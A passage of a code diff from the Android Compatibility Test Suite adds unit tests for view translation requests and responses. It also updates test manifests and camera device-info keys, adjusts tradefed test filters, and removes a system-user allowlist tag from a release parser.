+@RunWith(AndroidJUnit4.class)
+public class ViewTranslationRequestTest {
+
+    private final AutofillId mAutofillId = new AutofillId(17);
+
+    @Test
+    public void testBuilder_nullAutofillId() {
+        assertThrows(NullPointerException.class, () -> new ViewTranslationRequest.Builder(null));
+    }
+
+    @Test
+    public void testBuilderVirtualAutofillId_validSetText() {
+        final ViewTranslationRequest request =
+                new ViewTranslationRequest.Builder(mAutofillId, /* virtualChildId= */ 12345L)
+                        .setValue("sample id", TranslationRequestValue.forText("sample text"))
+                        .build();
+
+        assertThat(request.getAutofillId()).isEqualTo(new AutofillId(mAutofillId, 12345L, 0));
+        assertThat(request.getKeys().size()).isEqualTo(1);
+        assertThat(request.getKeys()).containsExactly("sample id");
+        assertThat(request.getValue("sample id").getText()).isEqualTo("sample text");
+    }
+
+    @Test
+    public void testBuilder_validSetText() {
+        final ViewTranslationRequest request = new ViewTranslationRequest.Builder(mAutofillId)
+                .setValue("sample id",
+                        TranslationRequestValue.forText("sample text"))
+                .build();
+
+        assertThat(request.getAutofillId()).isEqualTo(new AutofillId(17));
+        assertThat(request.getKeys().size()).isEqualTo(1);
+        assertThat(request.getKeys()).containsExactly("sample id");
+        assertThat(request.getValue("sample id").getText()).isEqualTo("sample text");
+    }
+
+    @Test
+    public void testBuilder_setTextTwice() {
+        final ViewTranslationRequest request = new ViewTranslationRequest.Builder(mAutofillId)
+                .setValue("sample id",
+                        TranslationRequestValue.forText("sample text"))
+                .setValue("sample id",
+                        TranslationRequestValue.forText("text2"))
+                .build();
+
+        assertThat(request.getAutofillId()).isEqualTo(new AutofillId(17));
+        assertThat(request.getKeys().size()).isEqualTo(1);
+        assertThat(request.getKeys()).containsExactly("sample id");
+        assertThat(request.getValue("sample id").getText()).isEqualTo("text2");
+    }
+
+    @Test
+    public void testGetValue_invalidId() {
+        final ViewTranslationRequest request = new ViewTranslationRequest.Builder(mAutofillId)
+                .setValue("sample id",
+                        TranslationRequestValue.forText("sample text"))
+                .build();
+
+        assertThat(request.getAutofillId()).isEqualTo(new AutofillId(17));
+        assertThat(request.getKeys().size()).isEqualTo(1);
+        assertThat(request.getKeys()).containsExactly("sample id");
+        assertThat(request.getValue("sample id").getText()).isEqualTo("sample text");
+
+        assertThrows(IllegalArgumentException.class, () -> request.getValue("something"));
+        assertThrows(NullPointerException.class, () -> request.getValue(null));
+    }
+
+    @Test
+    public void testBuilder_multipleTexts() {
+        final ViewTranslationRequest request = new ViewTranslationRequest.Builder(mAutofillId)
+                .setValue("sample id",
+                        TranslationRequestValue.forText("sample text"))
+                .setValue("id2",
+                        TranslationRequestValue.forText("text2"))
+                .build();
+
+        assertThat(request.getAutofillId()).isEqualTo(new AutofillId(17));
+        assertThat(request.getKeys().size()).isEqualTo(2);
+        assertThat(request.getKeys()).containsExactly("sample id", "id2");
+        assertThat(request.getValue("sample id").getText()).isEqualTo("sample text");
+        assertThat(request.getValue("id2").getText()).isEqualTo("text2");
+    }
+}
diff --git a/tests/translation/src/android/translation/cts/unittests/ViewTranslationResponseTest.java b/tests/translation/src/android/translation/cts/unittests/ViewTranslationResponseTest.java
new file mode 100644
index 0000000..c3a9516
--- /dev/null
+++ b/tests/translation/src/android/translation/cts/unittests/ViewTranslationResponseTest.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.translation.cts.unittests;
+
+import static android.view.translation.TranslationResponseValue.STATUS_SUCCESS;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.view.autofill.AutofillId;
+import android.view.translation.TranslationResponseValue;
+import android.view.translation.ViewTranslationResponse;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class ViewTranslationResponseTest {
+
+    private final AutofillId mAutofillId = new AutofillId(17);
+
+    @Test
+    public void testBuilder_nullAutofillId() {
+        assertThrows(NullPointerException.class, () -> new ViewTranslationResponse.Builder(null));
+    }
+
+    @Test
+    public void testBuilder_validAddText() {
+        final ViewTranslationResponse request = new ViewTranslationResponse.Builder(mAutofillId)
+                .setValue("sample id",
+                        new TranslationResponseValue.Builder(STATUS_SUCCESS)
+                                .setText("sample text")
+                                .build())
+                .build();
+
+        assertThat(request.getAutofillId()).isEqualTo(new AutofillId(17));
+        assertThat(request.getKeys().size()).isEqualTo(1);
+        assertThat(request.getValue("sample id").getText()).isEqualTo("sample text");
+    }
+
+    @Test
+    public void testBuilder_validAddError() {
+        final ViewTranslationResponse request = new ViewTranslationResponse.Builder(mAutofillId)
+                .setValue("sample id", TranslationResponseValue.forError())
+                .build();
+
+        assertThat(request.getAutofillId()).isEqualTo(new AutofillId(17));
+        assertThat(request.getKeys().size()).isEqualTo(1);
+        assertThat(request.getValue("sample id").getStatusCode())
+                .isEqualTo(TranslationResponseValue.STATUS_ERROR);
+    }
+
+    @Test
+    public void testGetValue_invalidId() {
+        final ViewTranslationResponse request = new ViewTranslationResponse.Builder(mAutofillId)
+                .setValue("sample id",
+                        new TranslationResponseValue.Builder(STATUS_SUCCESS)
+                                .setText("sample text")
+                                .build())
+                .build();
+
+        assertThat(request.getAutofillId()).isEqualTo(new AutofillId(17));
+        assertThat(request.getKeys().size()).isEqualTo(1);
+        assertThat(request.getValue("sample id").getText()).isEqualTo("sample text");
+
+        assertThrows(IllegalArgumentException.class, () -> request.getValue("something"));
+        assertThrows(NullPointerException.class, () -> request.getValue(null));
+    }
+
+    @Test
+    public void testBuilder_multipleResults() {
+        final ViewTranslationResponse request = new ViewTranslationResponse.Builder(mAutofillId)
+                .setValue("sample id",
+                        new TranslationResponseValue.Builder(STATUS_SUCCESS)
+                                .setText("sample text")
+                                .build())
+                .setValue("id2",
+                        new TranslationResponseValue.Builder(STATUS_SUCCESS)
+                                .setText("text2")
+                                .build())
+                .setValue("id3", TranslationResponseValue.forError())
+                .build();
+
+        assertThat(request.getAutofillId()).isEqualTo(new AutofillId(17));
+        assertThat(request.getKeys().size()).isEqualTo(3);
+        assertThat(request.getValue("sample id").getText()).isEqualTo("sample text");
+        assertThat(request.getValue("id2").getText()).isEqualTo("text2");
+        assertThat(request.getValue("id3").getStatusCode())
+                .isEqualTo(TranslationResponseValue.STATUS_ERROR);
+    }
+}
diff --git a/tests/tvprovider/TEST_MAPPING b/tests/tvprovider/TEST_MAPPING
new file mode 100644
index 0000000..a0b06c4
--- /dev/null
+++ b/tests/tvprovider/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsTvProviderTestCases"
+    }
+  ]
+}
diff --git a/tests/uwb/AndroidManifest.xml b/tests/uwb/AndroidManifest.xml
index adecade..bc75901 100644
--- a/tests/uwb/AndroidManifest.xml
+++ b/tests/uwb/AndroidManifest.xml
@@ -24,5 +24,8 @@
         android:label="CTS tests for android.uwb"
         android:targetPackage="android.uwb.cts" >
     </instrumentation>
+
+    <uses-permission android:name="android.permission.UWB_RANGING"/>
+    <uses-permission android:name="android.permission.UWB_PRIVILEGED"/>
 </manifest>
 
diff --git a/tests/vr/AndroidManifest.xml b/tests/vr/AndroidManifest.xml
index cc60bd2..0196566 100644
--- a/tests/vr/AndroidManifest.xml
+++ b/tests/vr/AndroidManifest.xml
@@ -13,49 +13,48 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.vr.cts"
-    android:versionCode="1"
-    android:versionName="1.0" >
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
-    <uses-sdk android:minSdkVersion="14" />
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.vr.cts"
+     android:versionCode="1"
+     android:versionName="1.0">
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
+    <uses-sdk android:minSdkVersion="14"/>
     <uses-feature android:glEsVersion="0x00020000"/>
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.vr.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.vr.cts">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
-    <application
-        android:icon="@drawable/ic_launcher"
-        android:label="@string/app_name"
-        android:hardwareAccelerated="false" >
+    <application android:icon="@drawable/ic_launcher"
+         android:label="@string/app_name"
+         android:hardwareAccelerated="false">
 
 	<service android:name="com.android.cts.verifier.vr.MockVrListenerService"
-            android:exported="true"
-            android:enabled="true"
-            android:label="@string/vr_service_name"
-            android:permission="android.permission.BIND_VR_LISTENER_SERVICE">
+    	 android:exported="true"
+    	 android:enabled="true"
+    	 android:label="@string/vr_service_name"
+    	 android:permission="android.permission.BIND_VR_LISTENER_SERVICE">
             <intent-filter>
-                <action android:name="android.service.vr.VrListenerService" />
+                <action android:name="android.service.vr.VrListenerService"/>
             </intent-filter>
         </service>
 
-         <activity
-            android:label="@string/app_name"
-            android:name="android.vr.cts.OpenGLESActivity">
+         <activity android:label="@string/app_name"
+              android:name="android.vr.cts.OpenGLESActivity">
          </activity>
          <activity android:name=".CtsActivity"
-                  android:label="CtsActivity">
+              android:label="CtsActivity"
+              android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
-         <uses-library  android:name="android.test.runner" />
+         <uses-library android:name="android.test.runner"/>
     </application>
 
 </manifest>
diff --git a/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java b/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
index e0fcbb0..a667af4 100644
--- a/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
+++ b/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
@@ -516,6 +516,8 @@
         charsKeyNames.add(CameraCharacteristics.JPEG_AVAILABLE_THUMBNAIL_SIZES.getName());
         charsKeyNames.add(CameraCharacteristics.LENS_FACING.getName());
         charsKeyNames.add(CameraCharacteristics.LENS_POSE_REFERENCE.getName());
+        charsKeyNames.add(CameraCharacteristics.LENS_DISTORTION_MAXIMUM_RESOLUTION.getName());
+        charsKeyNames.add(CameraCharacteristics.LENS_INTRINSIC_CALIBRATION_MAXIMUM_RESOLUTION.getName());
         charsKeyNames.add(CameraCharacteristics.LENS_INFO_AVAILABLE_APERTURES.getName());
         charsKeyNames.add(CameraCharacteristics.LENS_INFO_AVAILABLE_FILTER_DENSITIES.getName());
         charsKeyNames.add(CameraCharacteristics.LENS_INFO_AVAILABLE_FOCAL_LENGTHS.getName());
@@ -536,6 +538,11 @@
         charsKeyNames.add(CameraCharacteristics.SCALER_CROPPING_TYPE.getName());
         charsKeyNames.add(CameraCharacteristics.SCALER_MANDATORY_STREAM_COMBINATIONS.getName());
         charsKeyNames.add(CameraCharacteristics.SCALER_MANDATORY_CONCURRENT_STREAM_COMBINATIONS.getName());
+        charsKeyNames.add(CameraCharacteristics.SCALER_AVAILABLE_ROTATE_AND_CROP_MODES.getName());
+        charsKeyNames.add(CameraCharacteristics.SCALER_DEFAULT_SECURE_IMAGE_SIZE.getName());
+        charsKeyNames.add(CameraCharacteristics.SCALER_MULTI_RESOLUTION_STREAM_CONFIGURATION_MAP.getName());
+        charsKeyNames.add(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP_MAXIMUM_RESOLUTION.getName());
+        charsKeyNames.add(CameraCharacteristics.SCALER_MANDATORY_MAXIMUM_RESOLUTION_STREAM_COMBINATIONS.getName());
         charsKeyNames.add(CameraCharacteristics.SENSOR_REFERENCE_ILLUMINANT1.getName());
         charsKeyNames.add(CameraCharacteristics.SENSOR_REFERENCE_ILLUMINANT2.getName());
         charsKeyNames.add(CameraCharacteristics.SENSOR_CALIBRATION_TRANSFORM1.getName());
@@ -560,6 +567,10 @@
         charsKeyNames.add(CameraCharacteristics.SENSOR_INFO_TIMESTAMP_SOURCE.getName());
         charsKeyNames.add(CameraCharacteristics.SENSOR_INFO_LENS_SHADING_APPLIED.getName());
         charsKeyNames.add(CameraCharacteristics.SENSOR_INFO_PRE_CORRECTION_ACTIVE_ARRAY_SIZE.getName());
+        charsKeyNames.add(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE_MAXIMUM_RESOLUTION.getName());
+        charsKeyNames.add(CameraCharacteristics.SENSOR_INFO_PIXEL_ARRAY_SIZE_MAXIMUM_RESOLUTION.getName());
+        charsKeyNames.add(CameraCharacteristics.SENSOR_INFO_PRE_CORRECTION_ACTIVE_ARRAY_SIZE_MAXIMUM_RESOLUTION.getName());
+        charsKeyNames.add(CameraCharacteristics.SENSOR_INFO_BINNING_FACTOR.getName());
         charsKeyNames.add(CameraCharacteristics.SHADING_AVAILABLE_MODES.getName());
         charsKeyNames.add(CameraCharacteristics.STATISTICS_INFO_AVAILABLE_FACE_DETECT_MODES.getName());
         charsKeyNames.add(CameraCharacteristics.STATISTICS_INFO_MAX_FACE_COUNT.getName());
diff --git a/tools/cts-holo-generation/AndroidManifest.xml b/tools/cts-holo-generation/AndroidManifest.xml
index 41fab00..85332bb 100644
--- a/tools/cts-holo-generation/AndroidManifest.xml
+++ b/tools/cts-holo-generation/AndroidManifest.xml
@@ -1,20 +1,21 @@
 <?xml version="1.0" encoding="utf-8"?>
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-      package="com.android.cts.holo_capture"
-      android:versionCode="1"
-      android:versionName="1.0">
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.holo_capture" />
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.holo_capture"
+     android:versionCode="1"
+     android:versionName="1.0">
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.holo_capture"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
-        <activity android:name=".CaptureActivity">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name=".CaptureActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
diff --git a/tools/cts-preconditions/Android.bp b/tools/cts-preconditions/Android.bp
index d68585b..d208f2d 100644
--- a/tools/cts-preconditions/Android.bp
+++ b/tools/cts-preconditions/Android.bp
@@ -35,5 +35,5 @@
     ],
 
     // android.test.base exists starting from 28
-    sdk_version: "28",
+    sdk_version: "30",
 }
diff --git a/tools/cts-tradefed/res/config/cts-on-csi-no-apks.xml b/tools/cts-tradefed/res/config/cts-on-csi-no-apks.xml
index b10f519..a99c656 100644
--- a/tools/cts-tradefed/res/config/cts-on-csi-no-apks.xml
+++ b/tools/cts-tradefed/res/config/cts-on-csi-no-apks.xml
@@ -150,6 +150,7 @@
     <option name="compatibility:exclude-filter" value="CtsSettingsHostTestCases" />
     <option name="compatibility:exclude-filter" value="CtsRoleTestCases android.app.role.cts.RoleControllerManagerTest#settingsIsNotVisibleForHomeRole" />
     <option name="compatibility:exclude-filter" value="CtsRoleTestCases android.app.role.cts.RoleManagerTest#openDefaultAppListThenIsNotDefaultAppInList" />
+    <option name="compatibility:exclude-filter" value="CtsSystemIntentTestCases android.systemintents.cts.TestSystemIntents#testSystemIntents" />
 
     <!-- No SettingsIntelligence -->
     <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testSettingsSearchIntent" />
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
index 1323093..0dab29e 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
@@ -59,4 +59,7 @@
     <!-- No Statsd -->
     <option name="compatibility:exclude-filter" value="CtsStatsdHostTestCases" />
 
+    <!-- b/183234756, b/80388296, b/110260628, b/159295445, b/159294948 CtsDevicePolicyManagerTestCases -->
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases" />
+
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-sim-include.xml b/tools/cts-tradefed/res/config/cts-sim-include.xml
index e9a69ea..656c008 100644
--- a/tools/cts-tradefed/res/config/cts-sim-include.xml
+++ b/tools/cts-tradefed/res/config/cts-sim-include.xml
@@ -33,6 +33,7 @@
     <option name="compatibility:include-filter" value="CtsSimPhonebookProviderTestCases" />
     <option name="compatibility:include-filter" value="CtsSimRestrictedApisTestCases" />
     <option name="compatibility:include-filter" value="CtsStatsdHostTestCases" />
+    <option name="compatibility:include-filter" value="CtsStatsdAtomHostTestCases" />
     <option name="compatibility:include-filter" value="CtsTelecomTestCases" />
     <option name="compatibility:include-filter" value="CtsTelecomTestCases2" />
     <option name="compatibility:include-filter" value="CtsTelecomTestCases3" />
diff --git a/tools/device-setup/TestDeviceSetup/AndroidManifest.xml b/tools/device-setup/TestDeviceSetup/AndroidManifest.xml
index 0a20e1c..5771fa2 100644
--- a/tools/device-setup/TestDeviceSetup/AndroidManifest.xml
+++ b/tools/device-setup/TestDeviceSetup/AndroidManifest.xml
@@ -16,15 +16,16 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.tests.devicesetup">
+     package="android.tests.devicesetup">
 
-    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
         <activity android:name="android.tests.getinfo.DeviceInfoActivity"
-                  android:label="DeviceInfoActivity">
+             android:label="DeviceInfoActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.LAUNCHER"/>
@@ -33,7 +34,7 @@
     </application>
 
     <instrumentation android:name="android.tests.getinfo.DeviceInfoInstrument"
-                     android:targetPackage="android.tests.devicesetup"
-                     android:label="app to get info from device"/>
+         android:targetPackage="android.tests.devicesetup"
+         android:label="app to get info from device"/>
 
 </manifest>
diff --git a/tools/release-parser/src/com/android/cts/releaseparser/XmlHandler.java b/tools/release-parser/src/com/android/cts/releaseparser/XmlHandler.java
index c30e524..0128dcd 100644
--- a/tools/release-parser/src/com/android/cts/releaseparser/XmlHandler.java
+++ b/tools/release-parser/src/com/android/cts/releaseparser/XmlHandler.java
@@ -33,7 +33,6 @@
     public static final String ASSIGN_PERMISSION_TAG = "assign-permission";
     public static final String LIBRARY_TAG = "library";
     public static final String ALLOW_IN_POWER_SAVE_TAG = "allow-in-power-save";
-    public static final String SYSTEM_USER_WHITELISTED_TAG = "system-user-whitelisted-app";
     public static final String PRIVAPP_PERMISSIONS_TAG = "privapp-permissions";
     public static final String FEATURE_TAG = "feature";
 
@@ -52,7 +51,6 @@
     private PermissionList.Builder mAssignPermissionsListBuilder;
     private PermissionList.Builder mLibraryListBuilder;
     private PermissionList.Builder mAllowInPowerSaveListBuilder;
-    private PermissionList.Builder mSystemUserWhitelistedListBuilder;
     private PermissionList.Builder mPrivappPermissionsListBuilder;
     private PermissionList.Builder mFeatureListBuilder;
 
@@ -66,8 +64,6 @@
         mLibraryListBuilder.setName(LIBRARY_TAG);
         mAllowInPowerSaveListBuilder = PermissionList.newBuilder();
         mAllowInPowerSaveListBuilder.setName(ALLOW_IN_POWER_SAVE_TAG);
-        mSystemUserWhitelistedListBuilder = PermissionList.newBuilder();
-        mSystemUserWhitelistedListBuilder.setName(SYSTEM_USER_WHITELISTED_TAG);
         mPrivappPermissionsListBuilder = PermissionList.newBuilder();
         mPrivappPermissionsListBuilder.setName(PRIVAPP_PERMISSIONS_TAG);
         mFeatureListBuilder = PermissionList.newBuilder();
@@ -125,10 +121,6 @@
                 mPermissionsBuilder = Permission.newBuilder();
                 mPermissionsBuilder.setName(attributes.getValue(PACKAGE_TAG));
                 break;
-            case SYSTEM_USER_WHITELISTED_TAG:
-                mPermissionsBuilder = Permission.newBuilder();
-                mPermissionsBuilder.setName(attributes.getValue(PACKAGE_TAG));
-                break;
             case PRIVAPP_PERMISSIONS_TAG:
                 mPermissionsBuilder = Permission.newBuilder();
                 mPermissionsBuilder.setName(attributes.getValue(PACKAGE_TAG));
@@ -164,10 +156,6 @@
                 if (mAllowInPowerSaveListBuilder.getPermissionsList().size() > 0) {
                     mPermissions.put(ALLOW_IN_POWER_SAVE_TAG, mAllowInPowerSaveListBuilder.build());
                 }
-                if (mSystemUserWhitelistedListBuilder.getPermissionsList().size() > 0) {
-                    mPermissions.put(
-                            SYSTEM_USER_WHITELISTED_TAG, mSystemUserWhitelistedListBuilder.build());
-                }
                 if (mPrivappPermissionsListBuilder.getPermissionsList().size() > 0) {
                     mPermissions.put(
                             PRIVAPP_PERMISSIONS_TAG, mPrivappPermissionsListBuilder.build());
@@ -192,10 +180,6 @@
                 mAllowInPowerSaveListBuilder.addPermissions(mPermissionsBuilder.build());
                 mPermissionsBuilder = null;
                 break;
-            case SYSTEM_USER_WHITELISTED_TAG:
-                mSystemUserWhitelistedListBuilder.addPermissions(mPermissionsBuilder.build());
-                mPermissionsBuilder = null;
-                break;
             case PRIVAPP_PERMISSIONS_TAG:
                 mPrivappPermissionsListBuilder.addPermissions(mPermissionsBuilder.build());
                 mPermissionsBuilder = null;
diff --git a/tools/release-parser/tests/resources/Shell.apk.pb.txt b/tools/release-parser/tests/resources/Shell.apk.pb.txt
index cbc05a8..f1cdd90 100644
--- a/tools/release-parser/tests/resources/Shell.apk.pb.txt
+++ b/tools/release-parser/tests/resources/Shell.apk.pb.txt
@@ -99,7 +99,7 @@
   uses_permissions: "android.permission.GET_APP_OPS_STATS"
   uses_permissions: "android.permission.MANAGE_APP_OPS_MODES"
   uses_permissions: "android.permission.VIBRATE"
-  uses_permissions: "android.permission.MANAGE_ACTIVITY_STACKS"
+  uses_permissions: "android.permission.MANAGE_ACTIVITY_TASKS"
   uses_permissions: "android.permission.START_TASKS_FROM_RECENTS"
   uses_permissions: "android.permission.ACTIVITY_EMBEDDING"
   uses_permissions: "android.permission.CONNECTIVITY_INTERNAL"
diff --git a/tools/release-parser/tests/resources/platform.xml b/tools/release-parser/tests/resources/platform.xml
index ab90e1b..5895f77 100644
--- a/tools/release-parser/tests/resources/platform.xml
+++ b/tools/release-parser/tests/resources/platform.xml
@@ -207,10 +207,4 @@
     <!-- Whitelist system providers -->
     <allow-in-power-save-except-idle package="com.android.providers.calendar" />
     <allow-in-power-save-except-idle package="com.android.providers.contacts" />
-
-    <!-- These are the packages that are white-listed to be able to run as system user -->
-    <system-user-whitelisted-app package="com.android.settings" />
-
-    <!-- These are the packages that shouldn't run as system user -->
-    <system-user-blacklisted-app package="com.android.wallpaper.livepicker" />
 </permissions>
diff --git a/tools/release-parser/tests/resources/platform.xml.pb.txt b/tools/release-parser/tests/resources/platform.xml.pb.txt
index 14b589e..d5fff53 100644
--- a/tools/release-parser/tests/resources/platform.xml.pb.txt
+++ b/tools/release-parser/tests/resources/platform.xml.pb.txt
@@ -59,15 +59,6 @@
   }
 }
 device_permissions {
-  key: "system-user-whitelisted-app"
-  value {
-    name: "system-user-whitelisted-app"
-    permissions {
-      name: "com.android.settings"
-    }
-  }
-}
-device_permissions {
   key: "permission"
   value {
     name: "permission"